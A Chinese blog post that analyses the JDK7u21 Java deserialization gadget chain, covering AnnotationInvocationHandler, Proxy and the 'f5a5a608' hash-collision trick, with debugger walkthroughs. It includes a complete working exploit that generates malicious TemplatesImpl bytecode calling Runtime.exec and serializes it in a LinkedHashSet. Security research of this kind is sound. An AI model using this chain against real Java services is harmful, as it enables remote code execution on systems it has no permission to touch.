JDK7u21
前言
好久之前的文章了,忘记发了
环境配置
JDK7u21攻击链分析
JDK7u21的核心
JDK7u21的核心点就是`sun.reflect.annotation.AnnotationInvocationHandler`
我们可以看到AnnotationInvocationHandler
中的equalsImpl
方法
其中有一个明显的反射调用memberMethod.invoke(o)
,而其中memberMethod来自type.getDeclaredMethods()
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| private Boolean equalsImpl(Object var1) { if (var1 == this) { return true; } else if (!this.type.isInstance(var1)) { return false; } else { Method[] var2 = this.getMemberMethods(); int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) { Method var5 = var2[var4]; String var6 = var5.getName(); Object var7 = this.memberValues.get(var6); Object var8 = null; AnnotationInvocationHandler var9 = this.asOneOfUs(var1); if (var9 != null) { var8 = var9.memberValues.get(var6); } else { try { var8 = var5.invoke(var1); } catch (InvocationTargetException var11) { return false; } catch (IllegalAccessException var12) { throw new AssertionError(var12); } }
if (!memberValueEquals(var7, var8)) { return false; } }
return true; } }
|
也就是说这个equalsImpl
方法遍历调用了this.type
这个类中的所有方法,如果说这个类是一个Templates类,那么就会调用它的newTransform()
和getOutputproperties()
方法,进而触发任意代码执行。
调用equalsImpl
这里把p神的解释拿过来
作为一门静态语言,如果想劫持一个对象内部的方法调用,实现类似PHP的魔术方法 __call ,我
们需要用到 java.reflect.Proxy :
Proxy.newProxyInstance 的第一个参数是ClassLoader,我们用默认的即可;第二个参数是我
们需要代理的对象集合;第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具
体代理的逻辑。
…
我们回看 sun.reflect.annotation.AnnotationInvocationHandler ,会发现实际上这个类实
际就是一个InvocationHandler,我们如果将这个对象用Proxy进行代理,那么在readObject的时
候,只要调用任意方法,就会进入到 AnnotationInvocationHandler#invoke 方法中,进而触发
我们的 LazyMap#get 。
十分美妙。
在动态绑定一个接口时候,如果调用其任意方法,就会执行到InvokationHandler#invoke
方法中。执行invoke方法时,第一个参数就是这个Proxy,第二个参数就是调用方法的名称,第三个参数就是执行方法时的参数列表
而我们找到了在的invoke方法中调用了equalsImpl方法
1 2 3 4 5 6 7 8
| public Object invoke(Object var1, Method var2, Object[] var3) { String var4 = var2.getName(); Class[] var5 = var2.getParameterTypes(); if (var4.equals("equals") && var5.length == 1 && var5[0] == Object.class) { return this.equalsImpl(var3[0]); } ...... }
|
如果说我们调用了动态代理的invoke方法,且调用方法名为equals,参数有且只有一个时,才会进入if方法去执行equalsImpl方法,且参数为equals的仅一个参数
找到equals方法调用链
有一个比较常见调用equals的地方就是集合set,在集合中不允许存在重复的对象,所以一定会存在比较的方法
我们看一下HashSet
的readObject
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject();
int capacity = s.readInt(); float loadFactor = s.readFloat(); map = (((HashSet)this) instanceof LinkedHashSet ? new LinkedHashMap<E,Object>(capacity, loadFactor) : new HashMap<E,Object>(capacity, loadFactor));
int size = s.readInt();
for (int i=0; i<size; i++) { E e = (E) s.readObject(); map.put(e, PRESENT); } }
|
这里创建了一个HashMap,将对象放在HashMap的key的位置来去重
HashMap,就是数据结构里的哈希表,相信上过数据结构课程的同学应该还记得,哈希表是由数组+链
表实现的——哈希表底层保存在一个数组中,数组的索引由哈希表的 key.hashCode() 经过计算得到,
数组的值是一个链表,所有哈希碰撞到相同索引的key-value,都会被链接到这个链表后面。
下面是HashMap的Put方法,这里掉用的equals方法非常符合我们想找的形式
想要触发key.equals(k)
,我们需要让传入的两个key的hash相等时,才能走入同一个table内
我们最终想要触发Proxy.equals(Templates)
,所以我们传入两个key就是Proxy和Templates
所以我们应该想办法,让Proxy和Templates的hash相等
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| public V put(K key, V value) { if (key == null) return putForNullKey(value); int hash = hash(key); int i = indexFor(hash, table.length); for (Entry<K,V> e = table[i]; e != null; e = e.next) { Object k; if (e.hash == hash && ((k = e.key) == key || key.equals(k))) { V oldValue = e.value; e.value = value; e.recordAccess(this); return oldValue; } }
modCount++; addEntry(hash, key, value, i); return null; }
|
巧用Magic Number
简化以后就是如下代码,计算哈希只看这两行代码就行
1 2
| int hash = hash(key); int i = indexFor(hash, table.length);
|
关键函数提取出来后,可以得到以下函数
1 2 3 4 5 6 7 8
| public static int hash(Object key) { int h = 0; h ^= key.hashCode();
h ^= (h >>> 20) ^ (h >>> 12); h = h ^ (h >>> 7) ^ (h >>> 4); return h & 15; }
|
除了 key.hashCode() 外再没有其他变量,所以proxy对象与TemplateImpl对象的“哈希”是否相等,仅取决于这两个对象的 hashCode() 是否相等。TemplateImpl的 hashCode() 是一个Native方法,每次运行都会发生变化,我们理论上是无法预测的,所以想让proxy的 hashCode() 与之相等,只能寄希望于proxy.hashCode() 。
若proxy调用hashCode
,那么就会调用到AnnotationInvocationHandler#invoke
方法,进而调用hashCodeImpl
方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| else if (var4.equals("hashCode")) { return this.hashCodeImpl(); }
private int hashCodeImpl() { int var1 = 0;
Map.Entry var3; for(Iterator var2 = this.memberValues.entrySet().iterator(); var2.hasNext(); var1 += 127 * ((String)var3.getKey()).hashCode() ^ memberValueHashCode(var3.getValue())) { var3 = (Map.Entry)var2.next(); }
return var1; }
|
遍历 memberValues 这个Map中的每个key和value,计算每个 (127 * key.hashCode()) ^ value.hashCode() 并求和。
JDK7u21中使用了一个非常巧妙的方法:
- 当 memberValues 中只有一个key和一个value时,该哈希简化成 (127 *key.hashCode()) ^ value.hashCode()
- 当 key.hashCode() 等于0时,任何数异或0的结果仍是他本身,所以该哈希简化成 value.hashCode() 。
- 当 value 就是TemplateImpl对象时,这两个哈希就变成完全相等
所以我们需要找到一个hash值为0的key,将恶意的Templates放入value中,这样计算key的hash为0后,就会将value的hash返回回去,就会和原来的hash相等
这里别人爆破到hashCode值为0的,是 f5a5a608
所以我们需要put时,调用map.put('f5a5a608',templates)
,这样的化,在计算Proxy的hash值时,即为计算templates
的hash值(有点感觉像ctf里面php反序列化中的,地址赋值法(自己起的名字))
小结
现在的链构造流程就非常的清晰明了了
首先生成恶意TemplateImpl 对象
实例化AnnotationInvocationHandler 对象
- 它的type属性是一个TemplateImpl类
- 它的memberValues属性是一个Map,Map只有一个key和value,key是字符串f5a5a608 , value是前面生成的恶意TemplateImpl对象
对这个AnnotationInvocationHandler 对象做一层代理,生成proxy对象
实例化一个HashSet,这个HashSet有两个元素,分别是:
将HashSet对象进行序列化
EXP编写(不是很会,拿来主义)
从别的师傅那里拿来的EXP如下(不是很会,拿来主义)
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93
| package com.source;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor;
import javax.xml.transform.Templates; import java.io.*; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.*;
public class jdk { public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_name", "Drunkbaby"); setFieldValue(templates, "_tfactory", new TransformerFactoryImpl()); byte[] evil = getTemplatesImpl("Calc"); byte[][] codes = {evil}; setFieldValue(templates, "_bytecodes", codes);
String evilHashCode = "f5a5a608"; HashMap hashMap = new HashMap(); hashMap.put(evilHashCode,"sean");
Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); Constructor constructor = handler.getDeclaredConstructor(Class.class, Map.class); constructor.setAccessible(true); InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Templates.class, hashMap);
Templates proxy = (Templates) Proxy.newProxyInstance(jdk.class.getClassLoader(), new Class[]{Templates.class}, invocationHandler);
HashSet hashSet = new LinkedHashSet(); hashSet.add(templates); hashSet.add(proxy);
hashMap.put(evilHashCode, templates); serialize(hashSet); deserialize("ser.bin"); }
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(fieldName); field.setAccessible(true); field.set(obj, value); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object deserialize(String Filename) throws IOException, ClassNotFoundException{ ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; }
public static byte[] getTemplatesImpl(String cmd) { try { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil"); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody(" try {\n" + " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + " } catch (Exception ignored) {\n" + " }"); byte[] bytes = ctClass.toBytecode(); ctClass.defrost(); return bytes; } catch (Exception e) { e.printStackTrace(); return new byte[]{}; } } }
|
有些地方暂时不是很会,别的师傅EXP中所写的 创建类 并读取字节 的方法,后续会补起来的

断点调试
我们在HashSet
的readObject
方法中下一个断点

第一次进入HashMap#put
方法,其中table值为空,我们就无法遍历,只能向下走入addEntry
方法,经过该方法后,table中不为空

第二次进入put
方法后,由于我们构造的MagicNumber,现在能够成功走到key.equals
方法处

由于key为一个Proxy
类,因此在调用key的equals
方法时,我们发现就会进入到AnnotationInvocationHandler
的invoke
方法中
这里由于调用方法为equals
,且参数只有一个,所以能够进入到if代码块中,调用equalsImpl
方法

进入equalsImpl
内,第一次循环时,我们就看到methodName
为newTransformer
方法,这里通过反射调用该方法,就触发我们后续的攻击链

后续的分析之前有说过,所以这里不再过多赘述

小结
感觉很神奇的一条链子,看起来有种CTF的感觉